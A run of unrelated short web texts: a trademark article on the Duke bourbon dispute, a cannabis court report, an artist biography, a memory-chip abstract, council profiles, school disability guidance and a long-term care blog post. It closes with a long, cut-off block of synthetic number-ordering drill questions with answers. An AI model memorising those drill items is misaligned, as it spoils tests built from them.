own logo. ", "In the same breath, they argued that the school doesn’t “own the word Duke in all contexts and for all purposes.” ", "The context in which the Wayne family wants to sell bourbon is quite different from the context in which Duke University markets its academics, according to the heirs.", "\n\nKey Takeaway: Trademark law isn’t common knowledge and often result in trademark disputes. ", "Without legal counsel, people sometimes interpret trademark issues based on their personal opinions. ", "Even the word “context” can mean different things to different people.", "\n\nCollege Counter-Defense: “Words Are What Men Live By”\n\nIn an ironic attempt to foil Wayne’s heirs, university representative Michael Schoenfeld reminded them in an email that John Wayne himself said “Words are what men live by [. . .] ", "words they say and mean.” ", "University officials are keen on their plan to keep The DUKE Kentucky Bourbon from marring their reputation as an upstanding school. ", "And it’s not just the word “Duke” that offends them—it’s the bourbon’s cowboy logo, which purportedly bears a striking resemblance to the university’s own “Blue Devil” symbol.", "\n\nKey Takeaway: Some executives become embroiled in legal trademark battles because they’re concerned about their company’s reputation.", "\n\nLogo Defense: A Right and Responsibility\n\nThe Wayne/Duke duel has quickly become a spectacle, with different parties clinging to different sides. ", "The result of this battle, however, will not boil down to which side is more passionate about their position. ", "The result will depend on how the case is judged within the confines of U.S. Trademark Law.", "\n\nDuke officials are well within their right to defend their school, according to Ohio State University trademarks professor Reid Wilson. ", "In fact, companies have a responsibility to protect their trademarks. ", "If they don’t, they risk losing the very logos that fuel their business. ", "So even if the university ends up losing its side of the argument, the fact that it put up a fight sets an important precedent for the school’s reputation and integrity.", "\n\nWilson’s statement also applies to the Wayne family. ", "Avoiding confrontation over the logo issue with Duke could be tantamount to surrender. ", "The most prudent course of action is to let the legal experts hash out the details in court.", "\n\nKey Takeaway: Every entrepreneur has a right and a responsibility to defend his or her trademark.", "\n\nDuking it Out Since 2005\n\nThis isn’t the first time Duke University and the Wayne heirs have battled over a trademark. ", "For almost a decade, the school has actively thwarted the family’s attempts to use “Duke” in other ways, including the failed establishment of a John Wayne-themed restaurant. ", "In 2013, the family’s hope of using the word “Duke” for other projects was legally dismissed via an Inter Partes decision.", "\n\nIn spite of past failures, it looks as if the heirs don’t plan to give up on their fight for Duke Bourbon, as evidenced by the federal lawsuit they filed this summer. ", "Interestingly, more than 250 patented trademarks bearing the name “Duke” exist in the U.S. today, most of which are unrelated to both the actor and the school.", "\n\nAre the Logos Really That Similar?", "\n\nTwo major camps exist in the Duke vs. Duke trademark case. ", "Some people side with the university. ", "They agree that the bourbon’s cowboy logo, paired the word “Duke” on the label, is dangerously similar to the school’s trademarked logo. ", "They contend that John Wayne’s heirs should change their packaging or abandon their business plan altogether.", "\n\nOthers side with the late actor’s heirs. ", "They find each logo to be unique and unrelated to the other, contending that John Wayne’s family should be allowed to sell Duke Bourbon with a cowboy logo and the actor’s signature on the bottle.", "\n\nBoth groups are fighting for the right to brand their products as they see fit, and both have a long battle ahead of them. ", "The advice of a trademark attorney is invaluable in cases such as this, but such advice is best sought before legal trouble begins to brew—not afterward.", "\n\nBy: Xavier Morales, Esq.", "\n\nXavier Morales, Esq. ", "is a licensed trademark attorney. ", "Mr. Morales founded his trademark law practice in January 2007 with the goal of providing intellectual property expertise to entrepreneurs and businesses around the country. ", "Mr. Morales’ law practice emphasizes trademark registration, counseling and enforcement.", "\n\nRead more about Mr Morales, and The Law Office of Xavier Morales here." ]

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[ "Man pleads guilty to growing 5kg of cannabis\n\nA 62-year-old man who was found with 5.14 kilograms of cannabis at his property – 20 times the trafficable quantity – said he grew the plant for personal use.", "\n\nPolice executed a search warrant on Henry Gosling’s property on October 24, 2016. ", "In his shed, police found numerous pots used to cultivate cannabis while more of the plant was seen drying on newspaper.", "\n\nThe total amount of cannabis found in Gosling’s shed was 4149 grams.", "\n\nPolice then moved their search into Gosling’s house where 935 grams of cannabis was found in a portable cooler and a set of measuring scales nearby. ", "A further 71 grams of cannabis buds was found inside the house.", "\n\nGosling pleaded guilty to one count of cultivating cannabis at Ballarat Magistrates Court on Friday. ", "A charge of trafficking cannabis was withdrawn.", "\n\nGosling told police he grew the cannabis for personal use and he had smoked the drug for 45 to 50 years. ", "Gosling’s lawyer said he grew it for personal use, adding he grew it only once.", "\n\nMagistrate Ron Saines told Gosling he found it difficult to accept he only grew the cannabis once.", "\n\nHe said he would sentence Gosling on the cultivating cannabis charge, but reminded him trafficking cannabis was punishable by 15 years imprisonment.", "\n\nIn sentencing, Mr Saines issued another warning to Gosling. “", "This is a trigger to cease cannabis use. ", "There must be a message of denunciation of cultivating cannabis.”", "\n\nHe warned Gosling his offending posed a risk to his wife and family if community members discovered he was growing cannabis at his property.", "\n\nGosling’s lawyer urged the court to sentence his client to a community corrections order or a fine.", "\n\n“The court will never see Mr Gosling again,” the lawyer said.", "\n\nGosling was convicted and fined $2500. ", "He was ordered to pay $79.50 in court costs. ", "A police application to take a DNA sample from Gosling was refused. ", "The court ordered all drugs and equipment to be destroyed." ]

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[ "Yannima Pikarli Tommy Watson\n\nClick here to view a Biography of this artist.", "\n\nBorn: circa 1930s\n\nYannima Tommy Watson was born at Anamarapiti, circa 1935 approximately 40 kilometres west of the small community of Irrunytju (also known as Wingellina) Irrunytju is situated in Western Australia near the tri-state border of Western Australia, South Australia and the Northern Territory. ", "Watson is a Pitjantjatjara man, and his skin group is Karimara. ", "He spent his early childhood and teenage years living with his family, travelling from water hole to water hole, hunting and gathering and learning from his father the practical skills on how to survive on their lands in the arid regions of the Gibson Desert. ", "While growing up he learned to understand the significance of social organization and the spiritual and tribal law teachings of his ancestors. ", "Watson also inherited the knowledge on how to find water and food within their region. ", "However, the fate of Watson and his family and many of the other western desert nomads was sealed with the introduction of assimilation policies. ", "This combined with the severe drought throughout the 1950’s resulted in many of the Pitjantjatjara, Ngaanyatjarra and Pintupi Aborigines moving from their home lands to the administrative centres in Warburton, Ernabella and Papunya. ", "The unfamiliar world of the Government settlements was no place for these free nomadic people who were use to a life of unlimited travel, they became disoriented and more than half of the population of these new communities died. ", "Most never adjusted and eventually in the 1970’s and early 1980’s returned to their traditional homelands.", "\n\nIn 2001 Watson was one of the founding artists of the Irrunytju art centre. ", "His work is rich in the knowledge of the topographical landforms of his country and the Tjukurrpa law that underlies it. ", "He paints the stories of his mothers and grandfather’s country recording the sacred dreamtime stories intuitively using large vibrant colourful dots of pinks, burgundy, orange and reds to symbolically represent the dreamtime journeys of the ancient spirits and the significant episodes in the history of his tribe.", "\n\n“My grandfather’s country, grandmother’s country. ", "When they were alive, they would take me around the country, when I was a kid. ", "That’s why we look after country, go out whenever we can. ", "See if the rock holes are good”\n\nHis most important dreamtime stories are the Great Flood Dreaming, a story of the melting ice that flooded the lands north of the Great Australian Bight. ", "Another story tells of the Pangkalangku, tall man eaters from the north east and his other stories tell of the tribal conflicts between the Pitjantjatjarra and the Yankunyatjarra.", "\n\nAs a young man Watson became a stockman at Mount Ebenezer, and then travelled to Yuendumu where he gained a reputation as an exceptional horseman. ", "He is now a tribal elder and law man and frequently travels widely across the Pitjantjatjara lands to fulfil his traditional obligations. ", "Today he divides his time between the remote community of Warakurna on the edge of the Great Victorian Desert and Alice Springs where he has a house and painting studio. ", "He is widely recognised nationally and internationally and his work is represented in the National Gallery of Australia, Canberra, National Gallery of Victoria, Melbourne, Art Gallery of New South Wales, Sydney, Western Australian Art Gallery, Perth, South Australian Art Gallery, Adelaide and in many important private collections .He was commissioned in 2005 to produce artwork to be permanently installed in the Musee du Quai Branly in Paris, France, which opened in 2006. ", "The painting Wipu rockhole (2006) was enlarged and reproduced on stainless steel tiles which adorn a ceiling within the museum.", "\n\nFeatured Artist\n\n“I want to connect with the viewer by using colour and familiar motifs that are typically associated with the Australian environment. ", "Exaggeration of space and elements create a theatrical representation of the landscape.”", "\n\nBORN 1958 REGION Haasts Bluff LANGUAGE Anmatyerre Alison Nampitjinpa Anderson is an Australian politician and artist. ", "She has been a member of the Northern territory legislative assembly since 2005, representing the electorate … read more →\n\nFind Us\n\nWe accept most major credit cards including Union Pay.", "\n\nSubscribe\n\nInterested in Confirm that you are human\n\nMore Information\n\nThe philosophy is simple. ", "We wish to share with the world our passion for art and the remarkable talents of our artists. ", "We take pride in working with artists, patrons, collectors and colleagues who are kindred spirits." ]

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[ "Nonvolatile reconfigurable sequential logic in a HfO2 resistive random access memory array.", "\nResistive random access memory (RRAM) based reconfigurable logic provides a temporal programmable dimension to realize Boolean logic functions and is regarded as a promising route to build non-von Neumann computing architecture. ", "In this work, a reconfigurable operation method is proposed to perform nonvolatile sequential logic in a HfO2-based RRAM array. ", "Eight kinds of Boolean logic functions can be implemented within the same hardware fabrics. ", "During the logic computing processes, the RRAM devices in an array are flexibly configured in a bipolar or complementary structure. ", "The validity was demonstrated by experimentally implemented NAND and XOR logic functions and a theoretically designed 1-bit full adder. ", "With the trade-off between temporal and spatial computing complexity, our method makes better use of limited computing resources, thus provides an attractive scheme for the construction of logic-in-memory systems." ]

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[ "1. ", "Technical Field\nThe present invention relates generally to integrated circuits and, in particular, to the configuration of connections in a 3D stack of integrated circuits.", "\n2. ", "Description of the Related Art\nThree-dimensional (3D) stacked chips include two or more electronic integrated circuit chips stacked one on top of the other. ", "The chips are connected to each other with chip-to-chip interconnects that could use C4 or other technology, and the chips could include through-Silicon vias (TSVs) to connect from the one side of the chip to active electronics on the opposite side of the chip. ", "The active electronics can be located on the front side or the back side." ]

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[ "We're back this week with archival visits with President of the Venice Neihborhood Council Mike Newhouse, former Los Angeles City Councilmember Ruth Galanter and current Councilmembers Tom LaBonge and Ed Reyes. ", "Two more L.A. Councilmmembers -- Eric Garcetti and Jan Perry -- also show up on the Departures pages, although not as oral history providers.", "\n\nStory Continues Below\n\nSupport KCET\n\nED REYES, Los Angeles City Councilmember (1st District)\n\n\"Poverty,\" Reyes tells Departures, \"has a way of beating us down.\"", "\n\nReyes is standing along the banks of the Los Angeles River when he says this. ", "The Councilmember is the Chair of the Los Angeles River Ad Hoc Committee. (", "Disclosure: Reyes and his office and the City of Los Angeles are both Departures: LA River community partners.)", "\n\nReyes is telling Departures: LA River about his own local upbringing -- including about how as a kid in Lincoln Heights, he and his friends decided to spend time in the riverway in order to escape a tense Cypress Park playground. ", "Reyes tells Departures that he never went to the Ocean or the beach until he was sixteen years old. ", "And, connecting much of the above, Reyes maintains that, with a sense of civic history, comes a linked sense of personal pride.", "\n\n\"For me,\" Reyes says, \"the River means life. ", "It's what created the City of Los Angeles.\"", "\n\nReyes also refers during his Departures segments to the water body's post-Winter, built-up debris as \"the urban slobber.\" ", "He talks, too, about the resilience of nature, saying that there are more than 230 species of birds nearby. ", "And he discuss the River's master plan -- the Los Angeles River Revitalization Plan -- while painting a big picture of jobs busting concrete melding with planning work re-imagining River-adjacent lands melding with a pan-regional pro-ecological push.", "\n\nTOM LABONGE, Los Angeles City Councilmember (4th District)\n\nWords and stories come quickly to Tom LaBonge, like a fleet football halfback hitting a two-gap hole.", "\n\nSo when the former Marshall High (Silver Lake) Barristers lineman (class of '71) tells Departures: Story Share LA River, \"I could keep talking until the sun comes up tomorrow,\" the City Councilmember and inveterate Los Angeles booster ain't necessarily being figurative.", "\n\nThe politician known for, among more, a fondness for hiking in and advocating for Griffith Park and for passing out pumpkin bread baked by nuns, speaks to Departures for an ebullient seven minutes and fifteen seconds. ", "By your Land of Sunshine columnists' reckoning, this is the longest single segment in the history of Departure.", "\n\nClad in a dodger blue-colored hometown hoodie with the words \"Los Angeles\" across the chest and \"LA\" on his left sleeve, the City Councilmember speaks from Elysian Valley ground next to the bike path adjacent to the Los Angeles River -- where he and Lewis MacAdams once did this*. ", "LaBonge covers everything from eating at Chinatown's Yang Chow Restaurant to his own marriage proposal and wedding to a plan from the not-so-distant past to turn the River into a truckway, where big rigs could come up from the Port of Los Angeles and the Port of Long Beach, to the larger history of the city he represents.", "\n\n\"We started,\" LaBonge says, \"when forty-four people walked nine miles from the Mission San Gabriel to the banks of the river.\"", "\n\nLaBonge also summons his inner Mark Twain: \"I made 120 cents, one dollar twenty, selling frogs for a nickel each.\"", "\n\nAnd LaBonge waxes philosophical: \"In life there's only two things you really need: water and relationships. ", "Water cleanses our body, nourishes our soul, grows our food. ", "Relationships give us the stability we have as human beings to deal with the environment.\"", "\n\nRUTH GALANTER, Former Los Angeles City Council Member, 6th District\n\nAs part of the Departures: Venice, the Departures team interviews the politican who represented that iconic and iconoclastic seaside and near-sea neighborhood as a Los Angeles City Councilmember from 1987-2003.", "\n\n\"The list of accomplishments linked to Ruth Galanter during her 15-year stint as a councilwoman in Venice is astonishing. ", "Under her leadership, the Venice canals were restored, the pier preserved, the Ballona Wetlands protected, the development of Playa Vista reduced, the Coastal Act enacted, and the future of the beach skate park put in place. ", "Galanter, who was just a runner-up during the city's council elections before she was stabbed, understood that Venice had a thorough line that needed to be protected, and a template that had to be preserved. ", "What she never anticipated was that her efforts to bring Venice back to life would be co-opted by real-estate speculators who would repackage them to their liking.\"", "\n\nStanding on the Venice Pier, waves beneath and around her rolling into sand, the white noise grumble of water competing loudly to be heard, Galanter discusses Venice gentrification fears held by her voting bloc and others throughout the years. ", "This was a key issue, Galanter says, that led her to run for City Council.", "\n\n\"They were worried about losing the special ethos of Venice -- which different people define differently,\" Galanter says of her early and ongoing supporters. \"", "But there's a common theme in it, which is: A little offbeat -- sometimes very offbeat; argumentative -- this is the most argumentative of all the pieces of the district i represented; creative, artistic, all of those things.\"", "\n\nHow should a city shape public policy to limit complete gentrification?", "\n\n\"I believe then, and I still do that the key is to be sure that you don't let any neighborhood become so exclusive that ordinary folks can't live there,\" Galanter says. \"", "And sometimes that means -- often that means -- you have to subsidize housing and put in some housing that is specifically for people of lower income.\"", "\n\nJAN PERRY, Los Angeles City Councilmember (9th District)\n\nThe elected official makes a Departures appearance in this spot news coverage written by Ed Fuentes and Maria Lopez. ", "Perry is leading a ribbon cutting ceremony at Avalon and 54th Street, Fuentes and Lopez write, commemorating the first, small stage of a potentially larger-scale South LA wetlands restoration project. ", "Perry, by the way, is now running for Mayor.", "\n\nBack in winter 2010, Garcetti took to the podium as part of Departures: LA River StoryShare Initiative. ", "In the photo, here, Garctti is flanked by fellow City Councilmember Tom LaBonge. ", "Garcetti appears to be wearing a jacket with his name written or perhaps embroidered upon it. ", "LaBonge -- as noted above -- is wearing a hoodie with text that reads, \"Los Angeles.\"", "\n\nMIKE NEWHOUSE, President, Venice Neighborhood Council\n\nNewhouse is the least prominent, City-wide, of the politicians included in either this post or its companion post last week. ", "Click here, then, to hear explanations from the Venice resident about what a Neighborhood Council does, how Venice's traditions and participation make its Council different from others, and how he thinks that Venice residents favor independent not chain stores, low not high fences, and tolerance for the homeless.", "\n\nKCET is the nation's largest independent public television station. ", "On air, online and in the community, KCET plays a vital role in the cultural and educational enrichment of Southern and Central California. ", "We offer a wide range of award-winning local programming as well as the finest public television programs from around the world.", "\n\nPress Room\n\nAre you a member of the media looking for information about KCET? ", "Visit our press room for contact details, images and all the latest news." ]

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[ "Disability Education\n\nAll schools in the ACT are required to make reasonable adjustments for students with disability at the time of their enrollment and during the course of their education, ensuring they have the support they need to successfully access and participate in the school curriculum, programs and activities\nin the company of their peers.", "\n\nACT public schools actively engage with parents and families to provide inclusive, accessible and high quality education for all students. ", "Our schools will:\n\nconsult with you to understand your child's education needs and whether adjustments are needed to support the student\n\nmake the reasonable adjustments that are necessary to enable a student with disability to take part in education on the same basis as other students\n\nassist students and families to feel safe and supported in the education environment.", "\n\nAdjustments may be made in the areas of curriculum, environment or teaching methods, and will vary according to the needs of individual students.", "\n\nDisability Education support is available for school students from pre-school through to year 12:\n\nAll ACT public schools offer an Inclusion Support Program from K-12, through which reasonable adjustments can be made to meet the needs of your child at your local school.", "\n\nHearing and Vision support is available for students from pre-school to year 12.", "\n\nSpecialised programs are available at particular schools.", "\n\nSpecialist schools cater for students with high and complex needs. ", "There are primary schools and high schools on the north and south sides of Canberra.", "\n\nIf your child receives Disability Education support at school, your child's needs will be assessed in a professional Appraisal meeting (Student Centred Appraisal of Need meeting). ", "Appraisal meetings determine the extent of your child's needs in a variety of areas including communication, mobility,\npersonal care and safety, social development and curriculum. ", "Parents and carers are encouraged to attend these meetings, which are guided by a trained moderator.", "\n\nAn Individual Learning Plan (ILP) is developed for all students who access Disability Education support. ", "The plan is developed within the school. ", "It refers to the areas of need identified in the Appraisal meeting. ", "The plan links your child's needs to the curriculum, with input from parents, carers\nand families; teachers; and other people who may support your child." ]

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[ "3 Effective Strategies to Reduce Long Term Care Costs\n\nLooking at the long term care costs by state can have anyone at wit’s end. ", "The prices of the services are already high at the moment, and yet they seem to continue to increase. ", "While the wealthiest of America can easily cover the costs out of pocket and those on the other end of the spectrum have Medicaid to turn to, the average Americans are left seemingly left to fend for themselves.", "\n\nAs the costs increase to barely reachable heights, more individuals seem to be living longer. ", "This means that there is a higher chance of facing illnesses and health conditions related to age over the years. ", "Without prior planning, older adults run the risk of outliving their retirement savings.", "\n\nLong term care costs are a big issue not just for the retirees but their families, as well. ", "Currently, 40 million family members are acting as caregivers to their loved ones. ", "And more often than not, the services they provide are unpaid. ", "On top of that, caregiving does not just mean providing physical care. ", "Family caregivers often pay for care services using their own money. ", "In fact, AARP released a study late last year stating that family caregivers spend an average of $6,954 a year on out of pocket costs. ", "This amount is nearly 20% of income.", "\n\nSo what can Americans and their families do to reduce the costs of long term care? ", "Let’s look at three strategies that will help cushion the expenses.", "\n\nStop Postponing the Healthy Lifestyle You Know You Need\n\nNot the typical financial tip, is it? ", "However, not many people realize that the way that they treat their bodies now matters immensely, especially in the later years. ", "Despite various programs that aim to encourage individuals to adopt the healthy lifestyle, so many still underestimate the benefits of eating right and exercising regularly.", "\n\nMoreover, this does not just apply to the people in their 20s and 30s. ", "Active aging can keep health conditions and illnesses at bay. ", "Their bodies are in better shape for fend off illnesses as well as avoid falls, and their minds are able to keep its sharpness. ", "In effect, they may get to postpone or even avoid facing long term care costs simply because they are in good health.", "\n\nReduce Long Term Care Costs through Insurance\n\nLong term care costs, as previously mentioned, can easily wipe away anyone’s lifetime savings. ", "This is where long term care insurance comes in.", "\n\nThis type of insurance is specifically designed to address the expenses during long term care. ", "Instead of paying for the services up-front—and there is no telling how much the costs will be when you need them—this insurance product will cover a portion if not all of the expenses. ", "It is important to note that some policies even allow care recipients to provide compensation to their family caregivers. ", "Through the cash benefit that some long term care insurance policies have, care recipients can do whatever they wish to the amount that the policy pays them.", "\n\nAdditionally, long term care insurance can help older adults age in place. ", "As it covers care services in different settings, individuals can opt to receive the care in their own homes just as long as their health permits it. ", "Policies can also provide for home modifications which can help make aging in place safer option.", "\n\nResearch on Long Term Care Tax Deductions\n\nSome medical expenses of older individuals are tax deductible. ", "However, these expenses must fall under the qualified expenses listed by the IRS. ", "These may include preventive care, treatments, vision care, surgeries, dental care, and even insulin.", "\n\nBear in mind that these apply to the expenses not covered by an insurance policy. ", "On top of that, services like cosmetic procedures, vitamins, gym memberships, and over-the-counter drugs are not considered tax deductible.", "\n\nFinal Thoughts\n\nAs situations and circumstances are different for everyone, individuals and their families should also take the time to speak with a financial advisor. ", "This way, they get to have a plan that is tailored specifically to their needs and capabilities. ", "People often shy away from this because of the additional costs involved. ", "However, they could potentially save so much more in the end.", "\n\nHarry Burrow is a financial blogger and former family caregiver. ", "He uses his platform, Life Finance Blog,to shed light on the financial aspect of long term care planning and coverage. ", "These include financial issues, budgeting tips and tricks, money management, savings, and insurance policies. ", "Through his works, Harry aims to help equip Americans in combating the potentially devastating blow that long term care may bring.", "\n\nAwards & Achievements\n\nHire Me\n\nI’m always looking for a new adventure! ", "Hire me for your content development.", "\n\nIf you’re looking for a freelance finance & business blogger who knows it all about writing quality content that engages readers, then you’ve come to the right place! ", "I write about everything from personal finance to research based white papers including my personal experiences.", "\n\nFind us on Facebook\n\nFollow Us\n\nArchives\n\nArchives\n\nCategories\n\nCategories\n\nGuest Contributor Area\n\nI believe having guest contributors offers a unique new perspective to this finance blog to cover a wide range of financial topics. ", "If you are passionate personal finance blogger/adviser, you an at right place. ", "Join me!!", "\n\nAbout Us\n\nWe are a personal finance blog covering a wide array of personal finance topics such as money management, frugality, budget, banking, investing, insurance, money saving and making more money. ", "Here you will find the most important information regarding personal finance topics including personal finance news and financial advice to learn about ways to save money through leading a frugal life. ", "Join us to increase your personal finances.", "\n\nPlease do not consider the personal finance article published here as professional financial advice. ", "While we do our best to keep these update, the personal finance blog posts published here are for informational and educational purpose only. ", "All we strive to write practical, accurate and updated finance article to help you secure your financial future.", "You need any financial advices, please consult a professional financial advisor." ]

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[ "share:\n\nAlternate Versions\n\nA second camera filmed Eleanor Powell's epic piano dance. ", "This behind-the-scenes footage, which showed the off-camera work needed for this routine to work, is included in the documentary That's Entertainment! ", "III (1994)." ]

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[ "![](", "medchirrev76979-0250){#sp1 .538}\n\n![](", "medchirrev76979-0251){#sp2 .539}\n" ]

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[ "(a) -66 (b) -0.3 (c) -3536 (d) -0.1\nb\nWhich is the biggest value? ", " (a) 0.05 (b) 1 (c) 8/791\nb\nWhich is the third smallest value? ", " (a) 15 (b) 5 (c) -2 (d) 126\na\nWhich is the smallest value? ", " (a) 0.4 (b) -2 (c) 4 (d) 0 (e) 0.39\nb\nWhich is the third smallest value? ", " (a) -4 (b) -0.2 (c) -2081 (d) -2/5 (e) 3 (f) 1/5\nd\nWhich is the smallest value? ", " (a) 3 (b) 2 (c) -22 (d) 1/8 (e) 280 (f) -5/2\nc\nWhat is the second smallest value in -5165/14, 6, -0.3?", "\n-0.3\nWhat is the smallest value in -1, 0.2, -37.8, 1.8?", "\n-37.8\nWhich is the fourth biggest value? ", " (a) 5 (b) 0 (c) 61 (d) -3\nd\nWhich is the third biggest value? ", " (a) -106/5 (b) -1/4 (c) 3 (d) -1/8 (e) -1/97 (f) -1\nd\nWhat is the third biggest value in 1, 0.4, 0.68?", "\n0.4\nWhat is the second biggest value in -1/4, -2.9, -1/7, 0.5, 0?", "\n0\nWhat is the fifth biggest value in 3/4, 0.03, 1/3, 1/268, 2/13?", "\n1/268\nWhich is the second biggest value? ", " (a) 1/43 (b) -0.13 (c) 1/371 (d) -0.2 (e) -5\nc\nWhich is the second biggest value? ", " (a) 0.4 (b) -2 (c) -1/8 (d) 0 (e) 14 (f) 4\nf\nWhat is the fifth biggest value in 0.16, 3, -30, 0.1, -2/3, -3?", "\n-3\nWhat is the third smallest value in 1/2, 4.8, 0.18, 3?", "\n3\nWhich is the fifth smallest value? ", " (a) 0.2 (b) 14 (c) -0.1 (d) -4.4 (e) -0.2\nb\nWhat is the third smallest value in 0.4, 27, 1, 10/11?", "\n1\nWhich is the third biggest value? ", " (a) -0.1 (b) -2 (c) 12 (d) 0 (e) 330\nd\nWhat is the third smallest value in 3, -2, 2, -1, -1.5?", "\n-1\nWhat is the fourth smallest value in 1, 323, -26, -5?", "\n323\nWhat is the third smallest value in 2/9, 14, 1, -65?", "\n1\nWhat is the second smallest value in 5, 15078, 4?", "\n5\nWhat is the smallest value in 4, -1, -0.5, 0.22, 0.095, 1?", "\n-1\nWhich is the fourth smallest value? ", " (a) -5 (b) 4/3 (c) 2/69 (d) -0.3 (e) -1\nc\nWhat is the fifth biggest value in -11, -22, -3, 5, -2/9?", "\n-22\nWhich is the biggest value? ", " (a) -34 (b) -0.2 (c) 0.2 (d) 0.1 (e) 1/6 (f) -0.7\nc\nWhat is the third smallest value in 1490, 2, -2/3?", "\n1490\nWhich is the third biggest value? ", " (a) -2 (b) 1 (c) 3.6\na\nWhich is the third smallest value? ", " (a) -2/3 (b) 4872 (c) 5.7\nb\nWhich is the third biggest value? ", " (a) -1 (b) -95619 (c) 5\nb\nWhich is the biggest value? ", " (a) 11 (b) -93490 (c) -4\na\nWhat is the fifth smallest value in -0.4, 0.4, 260, -4, 13?", "\n260\nWhich is the second biggest value? ", " (a) 1.6 (b) 13 (c) 1/3 (d) -3\na\nWhich is the third biggest value? ", " (a) 79 (b) -4/5 (c) 4 (d) -3 (e) -4\nb\nWhich is the sixth smallest value? ", " (a) 1/4 (b) 3/26 (c) -2 (d) 1/10 (e) 0.17 (f) 3/2\nf\nWhat is the smallest value in 3.3, 11/3, 5, 1, 0.1?", "\n0.1\nWhat is the fifth smallest value in 0.1, -1, -6, -2, 634/5, 2?", "\n2\nWhat is the smallest value in 2/5, 1/7, 1458?", "\n1/7\nWhich is the fourth smallest value? ", " (a) 18.7 (b) -8 (c) -2/7 (d) -4/9 (e) 0.21\ne\nWhat is the third biggest value in 5, -5, -5/6, -284, 2?", "\n-5/6\nWhat is the smallest value in -8970, -4/3, 0.4, -1/2, 0.1?", "\n-8970\nWhich is the third smallest value? ", " (a) 1/9 (b) -3 (c) 3/8 (d) 2 (e) -2 (f) 2/269\nf\nWhich is the fifth biggest value? ", " (a) 3 (b) -0.3 (c) -12.5 (d) -41 (e) -1/5\nd\nWhich is the sixth biggest value? ", " (a) -4 (b) 27/2 (c) 1/5 (d) -1/36 (e) 2/17 (f) -1\na\nWhat is the third smallest value in -4.4, 2/15, 3/7, 5, -1.1, -1?", "\n-1\nWhat is the smallest value in 4, 5, 113?", "\n4\nWhat is the third biggest value in 0.5, -84, -1/16, -0.03?", "\n-1/16\nWhich is the biggest value? ", " (a) 0.09 (b) -9.7 (c) 1\nc\nWhat is the third biggest value in 3/7, 9473, -5?", "\n-5\nWhich is the third smallest value? ", " (a) -1897 (b) 7 (c) -13/4\nb\nWhich is the smallest value? ", " (a) 4 (b) 121 (c) -3/233\nc\nWhich is the fourth smallest value? ", " (a) 68 (b) -3/4 (c) -15 (d) 4\na\nWhich is the fourth smallest value? ", " (a) -4 (b) -0.5 (c) 5184 (d) -0.4\nc\nWhat is the second biggest value in 1.1, 0, 3, -64?", "\n1.1\nWhat is the fourth smallest value in 3/13, -2, 5, -3/10, -37.6?", "\n3/13\nWhat is the sixth biggest value in -2/3, 0.1, 6, -4, 0.2, -221?", "\n-221\nWhat is the fourth smallest value in 87, -0.2, 33, -50?", "\n87\nWhat is the fourth smallest value in -3/5, -2, -2/3, -4, 1?", "\n-3/5\nWhich is the second smallest value? ", " (a) 0.2 (b) -1/2 (c) -2/3 (d) 125 (e) 0.3\nb\nWhat is the second biggest value in 3/8, 2/5, 1/6, 0.256?", "\n3/8\nWhat is the second biggest value in 0.08, 4, -25, -1, -3, 5?", "\n4\nWhat is the sixth smallest value in -89, -1/5, -5/2, 2/5, 3/2, -3?", "\n3/2\nWhat is the biggest value in 2, 13, -0.0485?", "\n13\nWhat is the fourth biggest value in 1/3, 1/6, 2/9, 2, 21.6, -5?", "\n2/9\nWhat is the fourth biggest value in -2/45, 3, -2, 17, 0.4?", "\n-2/45\nWhat is the second smallest value in 67, -4/3, 150, 3?", "\n3\nWhich is the third biggest value? ", " (a) -3/4 (b) 45 (c) 2 (d) -3.69\na\nWhich is the smallest value? ", " (a) 0 (b) -5998 (c) -0.5\nb\nWhat is the second biggest value in 2, 0.08, -1/6, -0.3, 7, 0.4?", "\n2\nWhat is the second smallest value in -1/27, -6/25, 1, -26, 2/15?", "\n-6/25\nWhich is the third smallest value? ", " (a) 3/2 (b) 1 (c) -1 (d) 5/3 (e) 4/7 (f) -1/1715\ne\nWhich is the fourth biggest value? ", " (a) -0.02 (b) -229/5 (c) 1 (d) 14\nb\nWhat is the fourth smallest value in 5/3, 0.3, -5, -4, -2/9, -3?", "\n-2/9\nWhat is the second smallest value in -0.0172, -0.18, 8, -0.3?", "\n-0.18\nWhat is the fifth smallest value in -2/113, -1/2, 22/3, 4, 0.8?", "\n22/3\nWhich is the biggest value? ", " (a) -0.03 (b) 6.5 (c) -18\nb\nWhat is the fifth smallest value in -5, -12662, 0.3, 0, 2/9?", "\n0.3\nWhich is the third smallest value? ", " (a) -5 (b) 0 (c) 18 (d) 781/2\nc\nWhat is the second biggest value in 2, 106867, 0, -0.02?", "\n2\nWhat is the smallest value in -187, -0.4, -0.1, 0.5, 2.5?", "\n-187\nWhat is the smallest value in -0.1, -2/5, 5, 2/5, -175.14?", "\n-175.14\nWhat is the third biggest value in -1/2, 170, 18, 0.2?", "\n0.2\nWhich is the smallest value? ", " (a) -25/11 (b) 29 (c) 1 (d) 0.3 (e) -3\ne\nWhich is the third biggest value? ", " (a) 25/2 (b) 3/55 (c) 0.5 (d) 2/11 (e) 1\nc\nWhat is the biggest value in -5/21, -1, 32.9?", "\n32.9\nWhat is the third biggest value in -1/10, 0.03, 0.4, 2422, -0.3?", "\n0.03\nWhich is the third biggest value? ", " (a) -1/8 (b) -2/9 (c) -12/23 (d) 3\nb\nWhich is the third biggest value? ", " (a) 0 (b) 170285 (c) 1/3 (d) -3\na\nWhat is the third smallest value in -4, -25, 0.047, 1, -2?", "\n-2\nWhat is the sixth biggest value in -1/5, -5/3, 76, -2/5, 1, 2?", "\n-5/3\nWhat is the third smallest value in 0.08, -216, -10?", "\n0.08\nWhich is the fourth smallest value? ", " (a) 9 (b) 0.12 (c) 3/7 (d) -0.04\na\nWhat is the second biggest value in -0.2, -0.5, 0.003, 0.03, 3/7?", "\n0.03\nWhat is the biggest value in 2/331, 1/167, -5?", "\n2/331\nWhat is the third smallest value in -2/7, 3, -9, -1.2, -0.6?", "\n-0.6\nWhich is the third biggest value? ", " (a) -2/13 (b) -65/7 (c) 22\nb\nWhich is the fourth smallest value? ", " (a) -0.2 (b) 22 (c) -0.5 (d) -5 (e) 4\ne\nWhich is the biggest value? ", " (a) -548 (b) 133 (c) 0.1\nb\nWhich is the third biggest value? ", " (a) -0.2 (b) 0.2 (c) -2/9 (d) 182\na\nWhat is the sixth biggest value in -386, -13, 2, 1/3, -0.5, 0?", "\n-386\nWhat is the smallest value in 0.2, 2/5021, 37?", "\n2/5021\nWhat is the second biggest value in 3, -2/3, -4/9, -81954?", "\n-4/9\nWhat is the second biggest value in 0.3, -2834, 1, -1.1, 3?", "\n1\nWhat is the fourth biggest value in -2, 